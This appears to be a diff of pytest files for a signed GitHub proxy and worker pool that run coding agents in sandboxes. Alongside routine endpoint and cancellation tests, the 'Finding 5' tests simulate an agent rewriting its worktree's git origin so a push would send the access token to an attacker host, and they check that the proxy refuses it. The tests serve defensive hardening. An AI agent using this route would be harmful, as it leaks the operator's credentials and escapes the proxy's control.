||||
|
||||
|
||||
# ============================================================================
|
||||
# POST endpoints
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_post_comment_forwards_body(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(
|
||||
201,
|
||||
json={"id": 7, "user": {"login": "b"}, "body": "hi", "created_at": "2026-01-01T00:00:00Z"},
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = b'{"repo":"octo/widget","number":1,"body":"hi"}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/post_comment",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/post_comment", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
req = captured["req"]
|
||||
assert req.method == "POST"
|
||||
assert req.url.path == "/repos/octo/widget/issues/1/comments"
|
||||
import json
|
||||
|
||||
assert json.loads(req.content) == {"body": "hi"}
|
||||
|
||||
|
||||
async def test_add_issue_labels(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(200, json=[{"name": "triage"}, {"name": "bug"}])
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = b'{"repo":"octo/widget","number":1,"labels":["triage","bug"]}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/add_issue_labels",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/add_issue_labels", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {"labels": ["triage", "bug"]}
|
||||
assert captured["req"].url.path == "/repos/octo/widget/issues/1/labels"
|
||||
import json
|
||||
|
||||
assert json.loads(captured["req"].content) == {"labels": ["triage", "bug"]}
|
||||
|
||||
|
||||
async def test_add_assignees(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(201, json={})
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = b'{"repo":"octo/widget","number":1,"assignees":["alice"]}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/add_assignees",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/add_assignees", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {"ok": True}
|
||||
assert captured["req"].url.path == "/repos/octo/widget/issues/1/assignees"
|
||||
import json
|
||||
|
||||
assert json.loads(captured["req"].content) == {"assignees": ["alice"]}
|
||||
|
||||
|
||||
async def test_comment_reactions(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{"content": "-1", "user": {"login": "alice", "type": "User"}},
|
||||
],
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
target = "/gh/v1/comment_reactions?repo=octo%2Fwidget&comment_id=999"
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(target, headers=_signed("GET", target))
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {
|
||||
"items": [{"content": "-1", "user_login": "alice", "user_type": "User"}],
|
||||
}
|
||||
req = captured["req"]
|
||||
assert req.method == "GET"
|
||||
assert req.url.path == "/repos/octo/widget/issues/comments/999/reactions"
|
||||
assert req.url.params.get("content") == "-1"
|
||||
|
||||
|
||||
async def test_close_issue(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(200, json={})
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = b'{"repo":"octo/widget","number":7,"reason":"completed"}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/close_issue",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/close_issue", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {"ok": True}
|
||||
req = captured["req"]
|
||||
assert req.method == "PATCH"
|
||||
assert req.url.path == "/repos/octo/widget/issues/7"
|
||||
import json
|
||||
|
||||
assert json.loads(req.content) == {"state": "closed", "state_reason": "completed"}
|
||||
|
||||
|
||||
async def test_close_issue_defaults_reason_to_completed(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(200, json={})
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = b'{"repo":"octo/widget","number":7}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/close_issue",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/close_issue", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
import json
|
||||
|
||||
assert json.loads(captured["req"].content) == {"state": "closed", "state_reason": "completed"}
|
||||
|
||||
|
||||
async def test_open_pull_request(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(
|
||||
201,
|
||||
json={
|
||||
"number": 4,
|
||||
"html_url": "https://example/4",
|
||||
"head": {"ref": "feature"},
|
||||
"base": {"ref": "main"},
|
||||
"state": "open",
|
||||
},
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = (
|
||||
b'{"repo":"octo/widget","head":"feature","base":"main",'
|
||||
b'"title":"t","body":"b","draft":false,"maintainer_can_modify":true}'
|
||||
)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/open_pull_request",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/open_pull_request", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json()["number"] == 4
|
||||
assert captured["req"].url.path == "/repos/octo/widget/pulls"
|
||||
import json
|
||||
|
||||
sent = json.loads(captured["req"].content)
|
||||
assert sent["head"] == "feature"
|
||||
assert sent["base"] == "main"
|
||||
assert sent["title"] == "t"
|
||||
|
||||
|
||||
async def test_request_reviewers(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(201, json={})
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = b'{"repo":"octo/widget","pr_number":4,"reviewers":["alice"],"team_reviewers":null}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/request_reviewers",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/request_reviewers", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {"ok": True}
|
||||
assert captured["req"].url.path == "/repos/octo/widget/pulls/4/requested_reviewers"
|
||||
import json
|
||||
|
||||
assert json.loads(captured["req"].content) == {"reviewers": ["alice"]}
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# GitHub error passthrough
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_github_error_passthrough_422(proxy_settings: Settings) -> None:
|
||||
def gh(_: httpx.Request) -> httpx.Response:
|
||||
return httpx.Response(422, json={"message": "validation failed"})
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = b'{"repo":"octo/widget","number":1,"body":"hi"}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/post_comment",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/post_comment", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 422
|
||||
err = resp.json()["error"]
|
||||
assert err["kind"] == "github"
|
||||
assert err["status"] == 422
|
||||
assert err["message"] == "validation failed"
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# git transport endpoints
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_git_clone_creates_pool_dir(proxy_settings: Settings, upstream_repo: Path) -> None:
|
||||
app = _build_app(proxy_settings)
|
||||
body = b'{"repo":"octo/widget","clone_url":"' + str(upstream_repo).encode() + b'","default_branch":"main"}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/clone",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/clone", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
pool_dir = Path(resp.json()["pool_dir"])
|
||||
assert pool_dir.is_dir()
|
||||
assert pool_dir == Path(proxy_settings.workspace_root) / "_pool" / "octo__widget"
|
||||
assert (pool_dir / "HEAD").exists() or (pool_dir / ".git" / "HEAD").exists()
|
||||
|
||||
|
||||
async def test_git_fetch_repairs_missing_alternate_and_bad_ref(proxy_settings: Settings, upstream_repo: Path) -> None:
|
||||
pool_dir = Path(proxy_settings.workspace_root) / "_pool" / "octo__widget"
|
||||
pool_dir.parent.mkdir(parents=True, exist_ok=True)
|
||||
_git(["clone", "--filter=blob:none", str(upstream_repo), str(pool_dir)], Path(proxy_settings.workspace_root))
|
||||
|
||||
bad_ref = pool_dir / ".git" / "refs" / "heads" / "farm" / "bad"
|
||||
bad_ref.parent.mkdir(parents=True, exist_ok=True)
|
||||
bad_ref.write_text("0123456789012345678901234567890123456789\n", encoding="ascii")
|
||||
|
||||
alternates = pool_dir / ".git" / "objects" / "info" / "alternates"
|
||||
alternates.write_text(str(Path(proxy_settings.workspace_root) / "missing-objects") + "\n", encoding="utf-8")
|
||||
|
||||
app = _build_app(proxy_settings)
|
||||
body = b'{"repo":"octo/widget"}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/fetch",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/fetch", body), "Content-Type": "application/json"},
|
||||
)
|
||||
|
||||
assert resp.status_code == 200, resp.text
|
||||
assert Path(resp.json()["pool_dir"]) == pool_dir
|
||||
assert not bad_ref.exists()
|
||||
assert not alternates.exists()
|
||||
|
||||
|
||||
async def test_git_push_happy_path(proxy_settings: Settings, upstream_repo: Path) -> None:
|
||||
branch = "farm/abc/feature"
|
||||
_, head = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch)
|
||||
# Rewire origin to the bare upstream so the proxy's push lands there.
|
||||
app = _build_app(proxy_settings)
|
||||
body = (
|
||||
b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"'
|
||||
+ branch.encode()
|
||||
+ b'","expected_head":"'
|
||||
+ head.encode()
|
||||
+ b'"}'
|
||||
)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/push",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200, resp.text
|
||||
assert resp.json() == {"head": head, "branch": branch}
|
||||
assert _bare_has_branch(upstream_repo, branch)
|
||||
|
||||
|
||||
async def test_git_push_passes_slot_uid_to_git_push(
|
||||
proxy_settings: Settings, upstream_repo: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
from robomp.git_ops import PushResult
|
||||
|
||||
branch = "farm/abc/slot"
|
||||
repo_dir, head = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch)
|
||||
# The push handler reads the origin URL as the slot uid. On Linux+root
|
||||
# the staged workspace is root-owned; hand it to slot 2001 so the
|
||||
# subprocess can stat it. On macOS dev this is a no-op (slot identity
|
||||
# is never activated).
|
||||
if platform.system() == "Linux" and os.geteuid() == 0:
|
||||
for path in [repo_dir.parent, repo_dir, *repo_dir.rglob("*")]:
|
||||
os.chown(path, 2001, 2001, follow_symlinks=False)
|
||||
captured: dict[str, object] = {}
|
||||
|
||||
def fake_git_push(path: Path, **kwargs: object) -> PushResult:
|
||||
captured["path"] = path
|
||||
captured.update(kwargs)
|
||||
return PushResult(head=head, branch=branch)
|
||||
|
||||
monkeypatch.setattr("robomp.proxy.server.git_push", fake_git_push)
|
||||
app = _build_app(proxy_settings)
|
||||
body = (
|
||||
b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"'
|
||||
+ branch.encode()
|
||||
+ b'","expected_head":"'
|
||||
+ head.encode()
|
||||
+ b'","slot_uid":2001}'
|
||||
)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/push",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"},
|
||||
)
|
||||
|
||||
assert resp.status_code == 200, resp.text
|
||||
assert captured["path"] == repo_dir
|
||||
assert captured["slot_uid"] == 2001
|
||||
|
||||
|
||||
@pytest.mark.parametrize("slot_uid", [0, -1, 65536])
|
||||
async def test_git_push_rejects_invalid_slot_uid(proxy_settings: Settings, slot_uid: int) -> None:
|
||||
app = _build_app(proxy_settings)
|
||||
body = (
|
||||
b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"x","expected_head":"'
|
||||
+ (b"0" * 40)
|
||||
+ b'","slot_uid":'
|
||||
+ str(slot_uid).encode()
|
||||
+ b"}"
|
||||
)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/push",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"},
|
||||
)
|
||||
|
||||
assert resp.status_code == 400
|
||||
assert "slot_uid" in resp.text
|
||||
|
||||
|
||||
async def test_git_push_head_drift(proxy_settings: Settings, upstream_repo: Path) -> None:
|
||||
branch = "farm/abc/drift"
|
||||
_, _ = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch)
|
||||
app = _build_app(proxy_settings)
|
||||
fake_head = "0" * 40
|
||||
body = (
|
||||
b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"'
|
||||
+ branch.encode()
|
||||
+ b'","expected_head":"'
|
||||
+ fake_head.encode()
|
||||
+ b'"}'
|
||||
)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/push",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 409, resp.text
|
||||
assert resp.json()["error"]["kind"] == "head_drift"
|
||||
assert not _bare_has_branch(upstream_repo, branch)
|
||||
|
||||
|
||||
async def test_git_push_workspace_key_mismatch(proxy_settings: Settings) -> None:
|
||||
app = _build_app(proxy_settings)
|
||||
body = (
|
||||
b'{"repo":"octo/widget","workspace_key":"other__repo__1","branch":"x","expected_head":"' + (b"0" * 40) + b'"}'
|
||||
)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/push",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 400
|
||||
assert "workspace_key" in resp.text
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Finding 2 — HMAC must bind the raw query string
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_hmac_rejects_query_mutation(proxy_settings: Settings) -> None:
|
||||
"""Sign `/gh/v1/issue?repo=octo/widget&number=1`, replay with number=2.
|
||||
|
||||
The verifier MUST notice the mutated query and 401. Without binding the
|
||||
query into the canonical string this request would sail through with an
|
||||
attacker-chosen target issue.
|
||||
"""
|
||||
captured: list[httpx.Request] = []
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured.append(req)
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"number": int(req.url.params["number"]),
|
||||
"title": "T",
|
||||
"body": "B",
|
||||
"state": "open",
|
||||
"user": {"login": "x"},
|
||||
"labels": [],
|
||||
},
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
legit_params = {"repo": "octo/widget", "number": 1}
|
||||
headers = _signed("GET", "/gh/v1/issue", params=legit_params)
|
||||
mutated = {"repo": "octo/widget", "number": 2}
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get("/gh/v1/issue", params=mutated, headers=headers)
|
||||
assert resp.status_code == 401, resp.text
|
||||
# Upstream GitHub mock MUST NOT have been called — auth failed first.
|
||||
assert captured == []
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Finding 3 — body must be size-capped BEFORE auth / before full buffer
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_oversized_content_length_rejected_with_413(proxy_settings: Settings) -> None:
|
||||
"""Setting Content-Length above the cap is rejected at 413 cheaply.
|
||||
|
||||
With the fix in place the proxy never reads the (huge) body into memory:
|
||||
we declare CL > max_bytes and the handler aborts immediately. We force
|
||||
a tiny cap so the test stays fast; the production default is 1 MiB.
|
||||
"""
|
||||
proxy_settings.gh_proxy_max_body_bytes = 256 # type: ignore[misc]
|
||||
app = _build_app(proxy_settings, lambda _: httpx.Response(500, json={}))
|
||||
payload = b"x" * 1024
|
||||
headers = {
|
||||
**_signed("POST", "/gh/v1/post_comment", payload),
|
||||
"Content-Type": "application/json",
|
||||
# Lie about CL to prove the early-reject path doesn't read content.
|
||||
"Content-Length": str(1024 * 1024 * 64),
|
||||
}
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post("/gh/v1/post_comment", content=payload, headers=headers)
|
||||
assert resp.status_code == 413, resp.text
|
||||
|
||||
|
||||
async def test_streamed_body_above_cap_rejected_with_413(proxy_settings: Settings) -> None:
|
||||
"""When Content-Length is honest but > cap, we still 413."""
|
||||
proxy_settings.gh_proxy_max_body_bytes = 64 # type: ignore[misc]
|
||||
app = _build_app(proxy_settings, lambda _: httpx.Response(500, json={}))
|
||||
payload = b'{"repo":"octo/widget","number":1,"body":"' + (b"y" * 200) + b'"}'
|
||||
headers = {
|
||||
**_signed("POST", "/gh/v1/post_comment", payload),
|
||||
"Content-Type": "application/json",
|
||||
}
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post("/gh/v1/post_comment", content=payload, headers=headers)
|
||||
assert resp.status_code == 413
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Finding 5 — push refuses attacker-controlled origin (PAT exfil guard)
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_git_push_rejects_attacker_origin(proxy_settings: Settings, upstream_repo: Path) -> None:
|
||||
"""If the worktree's origin is rewritten to a non-github HTTPS URL,
|
||||
the push endpoint MUST refuse with 400 BEFORE invoking `git push` (which
|
||||
would carry the PAT to the attacker's host)."""
|
||||
branch = "farm/abc/evil"
|
||||
repo_dir, head = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch)
|
||||
# Simulate the agent rewriting origin inside its sandbox worktree.
|
||||
_git(["-C", str(repo_dir), "remote", "set-url", "origin", "https://evil.example.com/octo/widget.git"], repo_dir)
|
||||
|
||||
app = _build_app(proxy_settings)
|
||||
body = (
|
||||
b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"'
|
||||
+ branch.encode()
|
||||
+ b'","expected_head":"'
|
||||
+ head.encode()
|
||||
+ b'"}'
|
||||
)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/push",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 400, resp.text
|
||||
# The legit upstream never received the branch — proves push wasn't run.
|
||||
assert not _bare_has_branch(upstream_repo, branch)
|
||||
|
||||
|
||||
async def test_git_push_rejects_origin_with_wrong_repo(proxy_settings: Settings, upstream_repo: Path) -> None:
|
||||
"""github.com host is not enough — owner/repo MUST match the request."""
|
||||
branch = "farm/abc/mismatch"
|
||||
repo_dir, head = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch)
|
||||
_git(["-C", str(repo_dir), "remote", "set-url", "origin", "https://github.com/attacker/other.git"], repo_dir)
|
||||
|
||||
app = _build_app(proxy_settings)
|
||||
body = (
|
||||
b'{"repo":"octo/widget","workspace_key":"octo__widget__1","branch":"'
|
||||
+ branch.encode()
|
||||
+ b'","expected_head":"'
|
||||
+ head.encode()
|
||||
+ b'"}'
|
||||
)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/git/push",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/git/push", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 400, resp.text
|
||||
assert not _bare_has_branch(upstream_repo, branch)
|
||||
@@ -0,0 +1,292 @@
|
||||
"""Cancellation primitives on WorkerPool.
|
||||
|
||||
These tests stay at the public-ish surface of `WorkerPool` — they exercise the
|
||||
hook registration contextvar that workers use and verify the dispatcher marks
|
||||
cancelled events as failed with the documented marker. They do NOT spin up a
|
||||
real omp subprocess; that's covered by the integration smoke test.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
|
||||
import pytest
|
||||
|
||||
from robomp.cancellation import (
|
||||
clear_current_event,
|
||||
register_cancel_hook,
|
||||
set_current_event,
|
||||
unregister_cancel_hook,
|
||||
)
|
||||
from robomp.config import Settings
|
||||
from robomp.db import Database, EventRow
|
||||
from robomp.queue import WorkerPool
|
||||
from robomp.slot_pool import SlotPool
|
||||
|
||||
|
||||
class _StubGitHub:
|
||||
"""Sentinel; queue tests don't talk to GitHub."""
|
||||
|
||||
|
||||
class _StubSandbox:
|
||||
"""Sentinel; queue tests don't touch the workspace pool."""
|
||||
|
||||
natives_cache = None
|
||||
|
||||
|
||||
class _StubGitTransport:
|
||||
"""Sentinel; queue tests don't push."""
|
||||
|
||||
|
||||
def _make_pool(settings: Settings, db: Database) -> WorkerPool:
|
||||
return WorkerPool(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=_StubGitHub(), # type: ignore[arg-type]
|
||||
sandbox=_StubSandbox(), # type: ignore[arg-type]
|
||||
git_transport=_StubGitTransport(), # type: ignore[arg-type]
|
||||
slot_pool=SlotPool(),
|
||||
)
|
||||
|
||||
|
||||
def _row(delivery: str = "d1") -> EventRow:
|
||||
return EventRow(
|
||||
delivery_id=delivery,
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
received_at="2026-01-01T00:00:00Z",
|
||||
state="running",
|
||||
attempts=1,
|
||||
last_error=None,
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_cancel_fires_hook_armed_by_worker(settings: Settings, db: Database) -> None:
|
||||
"""A worker that armed a hook gets it invoked when cancel_event runs."""
|
||||
pool = _make_pool(settings, db)
|
||||
row = _row()
|
||||
|
||||
fired = asyncio.Event()
|
||||
|
||||
async def fake_worker() -> None:
|
||||
# Mimic _run_event entering its contextvar scope: the helpers below are
|
||||
# what worker.py invokes from inside the asyncio.to_thread call.
|
||||
token = set_current_event(pool, row.delivery_id)
|
||||
try:
|
||||
await asyncio.to_thread(register_cancel_hook, fired.set)
|
||||
# Park until somebody fires the hook.
|
||||
await fired.wait()
|
||||
finally:
|
||||
await asyncio.to_thread(unregister_cancel_hook)
|
||||
clear_current_event(token)
|
||||
|
||||
worker = asyncio.create_task(fake_worker())
|
||||
# Give the worker a tick to register.
|
||||
for _ in range(20):
|
||||
await asyncio.sleep(0)
|
||||
if row.delivery_id in pool._cancel_hooks: # noqa: SLF001 — test inspecting state
|
||||
break
|
||||
assert row.delivery_id in pool._cancel_hooks # noqa: SLF001
|
||||
|
||||
assert await pool.cancel_event(row.delivery_id) is True
|
||||
await asyncio.wait_for(worker, timeout=1.0)
|
||||
assert row.delivery_id in pool._cancelled # noqa: SLF001
|
||||
# Hook is consumed.
|
||||
assert row.delivery_id not in pool._cancel_hooks # noqa: SLF001
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_cancel_before_arm_fires_immediately(settings: Settings, db: Database) -> None:
|
||||
"""Cancelling before the worker arms must still terminate it on register."""
|
||||
pool = _make_pool(settings, db)
|
||||
row = _row("d2")
|
||||
|
||||
# Cancel is requested before any worker has armed a hook.
|
||||
assert await pool.cancel_event(row.delivery_id) is False
|
||||
assert row.delivery_id in pool._cancelled # noqa: SLF001
|
||||
|
||||
# When the worker eventually registers, the hook must fire synchronously.
|
||||
calls: list[int] = []
|
||||
token = set_current_event(pool, row.delivery_id)
|
||||
try:
|
||||
register_cancel_hook(lambda: calls.append(1))
|
||||
finally:
|
||||
clear_current_event(token)
|
||||
|
||||
assert calls == [1]
|
||||
# Late-armed hook is NOT retained; cancel state is one-shot.
|
||||
assert row.delivery_id not in pool._cancel_hooks # noqa: SLF001
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_dispatch_marks_cancelled_event_failed_with_marker(
|
||||
settings: Settings, db: Database, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""A dispatch that observed cancellation marks the row failed + 'cancelled by operator'."""
|
||||
pool = _make_pool(settings, db)
|
||||
|
||||
db.record_event(
|
||||
delivery_id="d3",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
row = _row("d3")
|
||||
|
||||
async def fake_dispatch(self: WorkerPool, r: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
# Simulate cancellation hitting mid-task and the omp subprocess raising.
|
||||
await pool.cancel_event(r.delivery_id)
|
||||
raise RuntimeError("subprocess died")
|
||||
|
||||
monkeypatch.setattr(WorkerPool, "_dispatch", fake_dispatch)
|
||||
await pool._run_event(row) # noqa: SLF001 — testing the dispatcher branch directly
|
||||
|
||||
stored = db.get_event("d3")
|
||||
assert stored is not None
|
||||
assert stored.state == "failed"
|
||||
assert stored.last_error == "cancelled by operator"
|
||||
# State is cleared for future events.
|
||||
assert row.delivery_id not in pool._cancelled # noqa: SLF001
|
||||
assert row.delivery_id not in pool._cancel_hooks # noqa: SLF001
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_non_cancelled_failure_keeps_real_traceback(
|
||||
settings: Settings, db: Database, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""A garden-variety dispatch failure still records the traceback path."""
|
||||
pool = _make_pool(settings, db)
|
||||
db.record_event(
|
||||
delivery_id="d4",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
row = _row("d4")
|
||||
|
||||
async def fake_dispatch(self: WorkerPool, r: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
raise ValueError("boom 42")
|
||||
|
||||
monkeypatch.setattr(WorkerPool, "_dispatch", fake_dispatch)
|
||||
await pool._run_event(row) # noqa: SLF001
|
||||
|
||||
stored = db.get_event("d4")
|
||||
assert stored is not None
|
||||
assert stored.state == "failed"
|
||||
assert stored.last_error is not None
|
||||
assert "boom 42" in stored.last_error
|
||||
assert "cancelled by operator" not in stored.last_error
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_event_marks_failed_when_not_shutting_down(
|
||||
settings: Settings, db: Database, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""When `_shutting_down` is False, a dispatch failure still marks the row failed."""
|
||||
pool = _make_pool(settings, db)
|
||||
assert pool._shutting_down is False # noqa: SLF001
|
||||
db.record_event(
|
||||
delivery_id="d5",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
row = _row("d5")
|
||||
|
||||
async def fake_dispatch(self: WorkerPool, r: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
raise RuntimeError("regular failure")
|
||||
|
||||
monkeypatch.setattr(WorkerPool, "_dispatch", fake_dispatch)
|
||||
await pool._run_event(row) # noqa: SLF001
|
||||
|
||||
stored = db.get_event("d5")
|
||||
assert stored is not None
|
||||
assert stored.state == "failed"
|
||||
assert stored.last_error is not None
|
||||
assert "regular failure" in stored.last_error
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_cancel_unknown_delivery_returns_false(settings: Settings, db: Database) -> None:
|
||||
"""Cancelling an unknown delivery is a no-op that returns False."""
|
||||
pool = _make_pool(settings, db)
|
||||
assert await pool.cancel_event("never-existed") is False
|
||||
# The set still records the request — a later register would fire — but
|
||||
# since no worker is armed, the cancel is harmless.
|
||||
assert "never-existed" in pool._cancelled # noqa: SLF001
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_start_reaps_configured_slot_uids(
|
||||
settings: Settings, db: Database, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
calls: list[int] = []
|
||||
monkeypatch.setattr("robomp.queue._reap_slot", lambda uid: calls.append(uid))
|
||||
pool = WorkerPool(
|
||||
settings=settings,
|
||||
db=db,
|
||||
